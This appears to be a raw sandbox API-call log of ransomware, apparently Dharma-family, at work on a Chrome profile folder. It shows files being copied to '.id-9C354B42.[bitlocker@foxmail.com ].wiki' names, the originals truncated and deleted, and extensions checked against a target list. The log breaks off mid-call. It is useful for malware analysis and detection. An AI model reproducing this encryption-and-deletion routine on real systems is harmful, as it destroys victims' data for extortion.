1 [0177.930] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.931] GetLastError () returned 0x0 [0177.931] ReadFile (in: hFile=0x1ac, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x2b2e9, lpOverlapped=0x0) returned 1 [0177.936] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x2b2f0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x2b2f0, lpOverlapped=0x0) returned 1 [0177.939] ReadFile (in: hFile=0x1ac, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.939] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0177.940] SetEndOfFile (hFile=0x1a0) returned 1 [0177.940] CloseHandle (hObject=0x1a0) returned 1 [0177.940] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.940] SetEndOfFile (hFile=0x1ac) returned 1 [0177.942] CloseHandle (hObject=0x1ac) returned 1 [0177.942] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.942] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico")) returned 1 [0177.942] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico") returned 94 [0177.942] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico") returned 94 [0177.942] lstrlenW (lpString=".doc") returned 4 [0177.942] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0177.942] lstrlenW (lpString=".docx") returned 5 [0177.942] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0177.942] lstrlenW (lpString=".pdf") returned 4 [0177.942] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0177.942] lstrlenW (lpString=".xls") returned 4 [0177.942] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0177.942] lstrlenW (lpString=".xlsx") returned 5 [0177.942] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0177.943] lstrlenW (lpString=".ppt") returned 4 [0177.943] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0177.943] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico") returned 94 [0177.943] lstrlenW (lpString=".zip") returned 4 [0177.943] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0177.943] lstrlenW (lpString=".rar") returned 4 [0177.943] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0177.943] lstrlenW (lpString=".bz2") returned 4 [0177.943] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0177.943] lstrlenW (lpString=".7z") returned 3 [0177.943] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0177.943] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico") returned 94 [0177.943] lstrlenW (lpString=".dbf") returned 4 [0177.943] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0177.943] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico") returned 94 [0177.943] lstrlenW (lpString=".1cd") returned 4 [0177.943] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0177.943] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico") returned 94 [0177.943] lstrlenW (lpString=".jpg") returned 4 [0177.943] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0177.943] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico") returned 94 [0177.943] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico") returned 94 [0177.943] lstrlenW (lpString=".doc") returned 4 [0177.943] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0177.943] lstrlenW (lpString=".docx") returned 5 [0177.943] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0177.943] lstrlenW (lpString=".pdf") returned 4 [0177.943] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0177.943] lstrlenW (lpString=".xls") returned 4 [0177.944] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0177.944] lstrlenW (lpString=".xlsx") returned 5 [0177.944] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0177.944] lstrlenW (lpString=".ppt") returned 4 [0177.944] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0177.944] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico") returned 94 [0177.944] lstrlenW (lpString=".zip") returned 4 [0177.944] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0177.944] lstrlenW (lpString=".rar") returned 4 [0177.944] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0177.944] lstrlenW (lpString=".bz2") returned 4 [0177.944] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0177.944] lstrlenW (lpString=".7z") returned 3 [0177.944] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0177.944] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico") returned 94 [0177.944] lstrlenW (lpString=".dbf") returned 4 [0177.944] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0177.944] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico") returned 94 [0177.944] lstrlenW (lpString=".1cd") returned 4 [0177.944] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0177.944] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico") returned 94 [0177.944] lstrlenW (lpString=".jpg") returned 4 [0177.944] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0178.205] lstrlenW (lpString="History") returned 7 [0178.205] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.205] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=102400) returned 1 [0178.205] CloseHandle (hObject=0x160) returned 1 [0178.205] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history")) returned 0x2020 [0178.205] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.205] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.206] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.206] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.206] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0178.519] GetLastError () returned 0x0 [0178.519] ReadFile (in: hFile=0x160, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x19000, lpOverlapped=0x0) returned 1 [0178.535] WriteFile (in: hFile=0x158, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x19010, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x19010, lpOverlapped=0x0) returned 1 [0178.537] ReadFile (in: hFile=0x160, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.537] WriteFile (in: hFile=0x158, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0178.537] SetEndOfFile (hFile=0x158) returned 1 [0178.537] CloseHandle (hObject=0x158) returned 1 [0178.538] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.538] SetEndOfFile (hFile=0x160) returned 1 [0178.539] CloseHandle (hObject=0x160) returned 1 [0178.539] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.539] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history")) returned 1 [0178.539] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 83 [0178.539] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 83 [0178.539] lstrlenW (lpString=".doc") returned 4 [0178.539] lstrcmpiW (lpString1=".doc", lpString2="tory") returned -1 [0178.540] lstrlenW (lpString=".docx") returned 5 [0178.540] lstrcmpiW (lpString1=".docx", lpString2="story") returned -1 [0178.540] lstrlenW (lpString=".pdf") returned 4 [0178.540] lstrcmpiW (lpString1=".pdf", lpString2="tory") returned -1 [0178.540] lstrlenW (lpString=".xls") returned 4 [0178.540] lstrcmpiW (lpString1=".xls", lpString2="tory") returned -1 [0178.540] lstrlenW (lpString=".xlsx") returned 5 [0178.540] lstrcmpiW (lpString1=".xlsx", lpString2="story") returned -1 [0178.540] lstrlenW (lpString=".ppt") returned 4 [0178.540] lstrcmpiW (lpString1=".ppt", lpString2="tory") returned -1 [0178.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 83 [0178.540] lstrlenW (lpString=".zip") returned 4 [0178.540] lstrcmpiW (lpString1=".zip", lpString2="tory") returned -1 [0178.540] lstrlenW (lpString=".rar") returned 4 [0178.540] lstrcmpiW (lpString1=".rar", lpString2="tory") returned -1 [0178.540] lstrlenW (lpString=".bz2") returned 4 [0178.540] lstrcmpiW (lpString1=".bz2", lpString2="tory") returned -1 [0178.540] lstrlenW (lpString=".7z") returned 3 [0178.540] lstrcmpiW (lpString1=".7z", lpString2="ory") returned -1 [0178.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 83 [0178.540] lstrlenW (lpString=".dbf") returned 4 [0178.540] lstrcmpiW (lpString1=".dbf", lpString2="tory") returned -1 [0178.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 83 [0178.540] lstrlenW (lpString=".1cd") returned 4 [0178.540] lstrcmpiW (lpString1=".1cd", lpString2="tory") returned -1 [0178.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 83 [0178.540] lstrlenW (lpString=".jpg") returned 4 [0178.540] lstrcmpiW (lpString1=".jpg", lpString2="tory") returned -1 [0178.541] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 83 [0178.541] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 83 [0178.541] lstrlenW (lpString=".doc") returned 4 [0178.541] lstrcmpiW (lpString1=".doc", lpString2="tory") returned -1 [0178.541] lstrlenW (lpString=".docx") returned 5 [0178.541] lstrcmpiW (lpString1=".docx", lpString2="story") returned -1 [0178.541] lstrlenW (lpString=".pdf") returned 4 [0178.541] lstrcmpiW (lpString1=".pdf", lpString2="tory") returned -1 [0178.541] lstrlenW (lpString=".xls") returned 4 [0178.541] lstrcmpiW (lpString1=".xls", lpString2="tory") returned -1 [0178.541] lstrlenW (lpString=".xlsx") returned 5 [0178.541] lstrcmpiW (lpString1=".xlsx", lpString2="story") returned -1 [0178.541] lstrlenW (lpString=".ppt") returned 4 [0178.541] lstrcmpiW (lpString1=".ppt", lpString2="tory") returned -1 [0178.541] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 83 [0178.541] lstrlenW (lpString=".zip") returned 4 [0178.541] lstrcmpiW (lpString1=".zip", lpString2="tory") returned -1 [0178.541] lstrlenW (lpString=".rar") returned 4 [0178.541] lstrcmpiW (lpString1=".rar", lpString2="tory") returned -1 [0178.541] lstrlenW (lpString=".bz2") returned 4 [0178.541] lstrcmpiW (lpString1=".bz2", lpString2="tory") returned -1 [0178.541] lstrlenW (lpString=".7z") returned 3 [0178.541] lstrcmpiW (lpString1=".7z", lpString2="ory") returned -1 [0178.541] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 83 [0178.541] lstrlenW (lpString=".dbf") returned 4 [0178.541] lstrcmpiW (lpString1=".dbf", lpString2="tory") returned -1 [0178.542] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 83 [0178.542] lstrlenW (lpString=".1cd") returned 4 [0178.542] lstrcmpiW (lpString1=".1cd", lpString2="tory") returned -1 [0178.542] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 83 [0178.542] lstrlenW (lpString=".jpg") returned 4 [0178.542] lstrcmpiW (lpString1=".jpg", lpString2="tory") returned -1 [0178.542] lstrlenW (lpString="Login Data-journal") returned 18 [0178.542] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.542] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=0) returned 1 [0178.542] CloseHandle (hObject=0x160) returned 1 [0178.542] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 94 [0178.542] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 94 [0178.542] lstrlenW (lpString=".doc") returned 4 [0178.542] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0178.543] lstrlenW (lpString=".docx") returned 5 [0178.543] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0178.543] lstrlenW (lpString=".pdf") returned 4 [0178.543] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0178.543] lstrlenW (lpString=".xls") returned 4 [0178.543] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0178.543] lstrlenW (lpString=".xlsx") returned 5 [0178.543] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0178.543] lstrlenW (lpString=".ppt") returned 4 [0178.543] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0178.543] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 94 [0178.543] lstrlenW (lpString=".zip") returned 4 [0178.543] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0178.543] lstrlenW (lpString=".rar") returned 4 [0178.543] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0178.543] lstrlenW (lpString=".bz2") returned 4 [0178.543] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0178.543] lstrlenW (lpString=".7z") returned 3 [0178.543] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0178.543] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 94 [0178.543] lstrlenW (lpString=".dbf") returned 4 [0178.543] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0178.543] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 94 [0178.543] lstrlenW (lpString=".1cd") returned 4 [0178.543] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0178.543] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 94 [0178.543] lstrlenW (lpString=".jpg") returned 4 [0178.543] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0178.544] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 94 [0178.544] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 94 [0178.544] lstrlenW (lpString=".doc") returned 4 [0178.544] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0178.544] lstrlenW (lpString=".docx") returned 5 [0178.544] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0178.544] lstrlenW (lpString=".pdf") returned 4 [0178.544] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0178.544] lstrlenW (lpString=".xls") returned 4 [0178.544] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0178.544] lstrlenW (lpString=".xlsx") returned 5 [0178.544] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0178.544] lstrlenW (lpString=".ppt") returned 4 [0178.544] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0178.544] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 94 [0178.544] lstrlenW (lpString=".zip") returned 4 [0178.544] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0178.544] lstrlenW (lpString=".rar") returned 4 [0178.544] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0178.544] lstrlenW (lpString=".bz2") returned 4 [0178.544] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0178.544] lstrlenW (lpString=".7z") returned 3 [0178.544] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0178.544] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 94 [0178.544] lstrlenW (lpString=".dbf") returned 4 [0178.544] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0178.544] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 94 [0178.544] lstrlenW (lpString=".1cd") returned 4 [0178.544] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0178.544] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 94 [0178.545] lstrlenW (lpString=".jpg") returned 4 [0178.545] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0178.545] lstrlenW (lpString="Network Action Predictor") returned 24 [0178.545] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.545] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=15360) returned 1 [0178.545] CloseHandle (hObject=0x160) returned 1 [0178.545] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor")) returned 0x2020 [0178.545] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.545] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.545] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.546] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.546] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0178.546] GetLastError () returned 0x0 [0178.546] ReadFile (in: hFile=0x160, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x3c00, lpOverlapped=0x0) returned 1 [0178.548] WriteFile (in: hFile=0x158, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x3c10, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x3c10, lpOverlapped=0x0) returned 1 [0178.549] ReadFile (in: hFile=0x160, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.549] WriteFile (in: hFile=0x158, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x104, lpOverlapped=0x0) returned 1 [0178.549] SetEndOfFile (hFile=0x158) returned 1 [0178.549] CloseHandle (hObject=0x158) returned 1 [0178.550] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.550] SetEndOfFile (hFile=0x160) returned 1 [0178.550] CloseHandle (hObject=0x160) returned 1 [0178.550] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.551] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor")) returned 1 [0178.551] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor") returned 100 [0178.551] lstrlenW 